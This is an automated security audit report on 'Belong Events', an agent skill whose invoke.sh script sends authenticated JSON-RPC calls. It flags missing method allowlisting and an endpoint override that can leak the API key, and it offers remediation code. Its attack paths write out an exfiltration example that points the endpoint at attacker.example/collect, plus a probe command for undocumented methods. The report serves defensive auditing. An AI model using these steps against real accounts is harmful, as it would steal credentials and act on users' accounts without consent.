Back to skill

Security audit

Belong Events - Discover and Organize

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent Belong integration, but it exposes authenticated, high-impact account and payment-related actions with weak local scoping and credential-handling safeguards.

Install only if you trust the publisher and are comfortable giving the skill access to your Belong account. Treat the returned apiKey as a secret, avoid custom endpoints unless you fully trust them, and manually confirm any action that changes events, hubs, venues, tickets, check-ins, bracelet balances, refunds, or withdrawals.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
invoke.sh:13
Finding
Authenticated JSON-RPC Calls Are Not Restricted to Documented Methods<![CDATA[ ## Vulnerability Details **File Location**: `invoke.sh`, lines 13–18 and 26 **Vulnerability Type**: Insufficient allowlist validation of authenticated RPC methods **Risk Level**: Medium ### Vulnerable Code ```bash METHOD="${1:?Usage: invoke.sh <method> [params-json]}" DEFAULT_PARAMS='{}' PARAMS="${2:-$DEFAULT_PARAMS}" if ! printf '%s' "$METHOD" | grep -Eq '^[A-Za-z][A-Za-z0-9_]*$'; then echo "Invalid method: $METHOD" >&2 exit 2 fi ``` ```bash REQUEST_BODY="$(printf '{"jsonrpc":"2.0","id":1,"method":"%s","params":%s}' "$METHOD" "$PARAMS")" ``` ### Technical Analysis The method validation only verifies that the supplied value is a syntactically valid identifier. It does not verify that the method belongs to the documented set of operations in `SKILL.md`. Consequently, any method matching `^[A-Za-z][A-Za-z0-9_]*$` is inserted into the JSON-RPC request. The request is then transmitted with `X-OpenClaw-Key` whenever `BELONG_EVENTS_API_KEY` is configured. This exposes the authenticated backend RPC namespace to arbitrary method probing through the wrapper. The server may independently reject unknown or unauthorized methods, but relying solely on server-side controls creates unnecessary attack surface and conflicts with the script's documented claim that it validates method names. ### Attack Path 1. An attacker influences an agent instruction, tool argument, or local invocation of `invoke.sh`. 2. The attacker supplies an undocumented but syntactically valid method, for example: ```bash ./invoke.sh undocumented_admin_method '{}' ``` 3. The regular-expression check accepts the method because it contains only permitted identifier characters. 4. The wrapper constructs a JSON-RPC request containing that method. 5. If an API key is configured, the wrapper attaches it to the request. 6. The backend receives an authenticated request for an operation not exposed in the documented skill interface. 7. If the backend contains an undocumented method ...[truncated 682 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Implement an explicit allowlist containing every supported JSON-RPC method and reject all other values before constructing the request. For example: ```bash case "$METHOD" in list_tools|discover_events|discover_hubs|get_event_details|get_hub_details|\ get_hub_branding|buy_ticket|belong_email_otp_send|belong_email_otp_verify|\ whoami|get_profile|list_wallets|sync_wallets|my_tickets|my_checkins) ;; *) printf 'Unsupported method: %s\n' "$METHOD" >&2 exit 2 ;; esac ``` The production implementation should include the complete supported method set from `SKILL.md`, preferably generated from a single authoritative manifest to prevent documentation drift. Additional hardening should include: - Enforcing method-level authorization on the remote server, regardless of client validation. - Returning a generic rejection response for unknown methods. - Monitoring repeated unknown-method requests as possible RPC enumeration. - Adding automated tests that verify every documented method is accepted and arbitrary methods are rejected. - Applying explicit per-method parameter schemas on the server. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
invoke.sh:9
Finding
API Key Can Be Transmitted to an Arbitrary Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `invoke.sh`, lines 9–10 and 21–30 **Vulnerability Type**: Credential disclosure through an unrestricted endpoint override **Risk Level**: High ### Vulnerable Code ```bash DEFAULT_ENDPOINT='https://join.belong.net/functions/v1/openclaw-skill-proxy' ENDPOINT="${BELONG_EVENTS_ENDPOINT:-$DEFAULT_ENDPOINT}" API_KEY="${BELONG_EVENTS_API_KEY:-}" ``` ```bash HEADERS=(-H "Content-Type: application/json") if [ -n "$API_KEY" ]; then HEADERS+=(-H "X-OpenClaw-Key: $API_KEY") fi REQUEST_BODY="$(printf '{"jsonrpc":"2.0","id":1,"method":"%s","params":%s}' "$METHOD" "$PARAMS")" printf '%s' "$REQUEST_BODY" | exec curl -sS -X POST "$ENDPOINT" \ "${HEADERS[@]}" \ --data-binary @- ``` ### Technical Analysis `BELONG_EVENTS_ENDPOINT` can replace the default production endpoint with an arbitrary URL. The script does not validate the URL scheme, hostname, port, or origin before attaching `BELONG_EVENTS_API_KEY` as the `X-OpenClaw-Key` header. As a result, control over the endpoint environment variable is sufficient to redirect an authenticated request to an attacker-controlled server. The same production credential is used for both the trusted default service and any staging or self-hosted endpoint. The absence of an HTTPS requirement also permits configuration of a plaintext HTTP endpoint. In that case, the API key and request data could be observed or modified by a network attacker. ### Attack Path 1. The victim has a valid `BELONG_EVENTS_API_KEY` configured. 2. An attacker, compromised launcher, unsafe configuration import, or malicious environment setup sets: ```bash export BELONG_EVENTS_ENDPOINT='https://attacker.example/collect' ``` 3. The victim or agent invokes any method: ```bash ./invoke.sh whoami '{}' ``` 4. The wrapper reads the attacker-controlled endpoint without validating its origin. 5. It adds the production key to the request: ```http X-OpenClaw-Key: <victim-api-key> ``` 6 ...[truncated 1315 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Restrict authenticated requests to explicitly trusted HTTPS origins. At minimum: 1. Parse and validate the endpoint before invoking `curl`. 2. Require the `https` scheme. 3. Compare the normalized hostname and port against an allowlist. 4. Refuse to attach the production API key to any untrusted endpoint. 5. Use separate environment variables and credentials for production, staging, and self-hosted services. 6. Reject URLs containing embedded user information or unexpected ports. 7. Disable redirects or ensure credentials cannot be forwarded across origins. A secure policy could behave as follows: ```bash case "$ENDPOINT" in https://join.belong.net/functions/v1/openclaw-skill-proxy) AUTH_API_KEY="${BELONG_EVENTS_API_KEY:-}" ;; https://staging.example.belong.net/*) AUTH_API_KEY="${BELONG_EVENTS_STAGING_API_KEY:-}" ;; *) printf 'Refusing untrusted Belong endpoint: %s\n' "$ENDPOINT" >&2 exit 2 ;; esac ``` Invoke `curl` with redirect hardening and explicit protocol restrictions, such as: ```bash curl --proto '=https' --max-redirs 0 ... ``` If arbitrary self-hosted endpoints are an intentional feature, do not send `BELONG_EVENTS_API_KEY` to them. Require a distinct endpoint-specific credential and display or record the destination origin during configuration. Rotate any credential that may already have been exposed. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (5)

Ae1

High
Category
analysis-evasion
Content
All tool calls use this pattern. The `invoke.sh` script handles endpoint URL, authentication headers, validates method names, and streams the JSON-RPC body over
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Lp3

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding
The skill exposes shell execution via `system.run` but does not declare an explicit tool scope such as `permissions` or `allowed-tools`. That weakens least-privilege enforcement and increases the chance an agent can invoke shell capabilities more broadly than intended, especially in ecosystems where policy is derived from the manifest.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The OTP flow instructs the agent to store a returned `apiKey` in environment or configuration, but does not include any warning about treating that value as a secret, limiting exposure, or avoiding logs. This can lead to credential leakage through transcripts, debug output, shared config files, or reuse across sessions, enabling unauthorized access to the linked Belong account.

Missing User Warnings

Medium
Confidence
88% confidence
Finding
The skill advertises many state-changing operations such as creating/updating events and hubs, configuring venues, deploying tickets, charging/refunding bracelets, and approving check-ins, but provides no guidance to obtain explicit user confirmation before high-impact actions. In an agent setting, ambiguous prompts or prompt-injection chains could cause unintended financial, operational, or reputational changes on behalf of an authenticated organizer or venue operator.

External Transmission

Medium
Category
Data Exfiltration
Content
REQUEST_BODY="$(printf '{"jsonrpc":"2.0","id":1,"method":"%s","params":%s}' "$METHOD" "$PARAMS")"

printf '%s' "$REQUEST_BODY" | exec curl -sS -X POST "$ENDPOINT" \
  "${HEADERS[@]}" \
  --data-binary @-
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Static analysis

No suspicious patterns detected.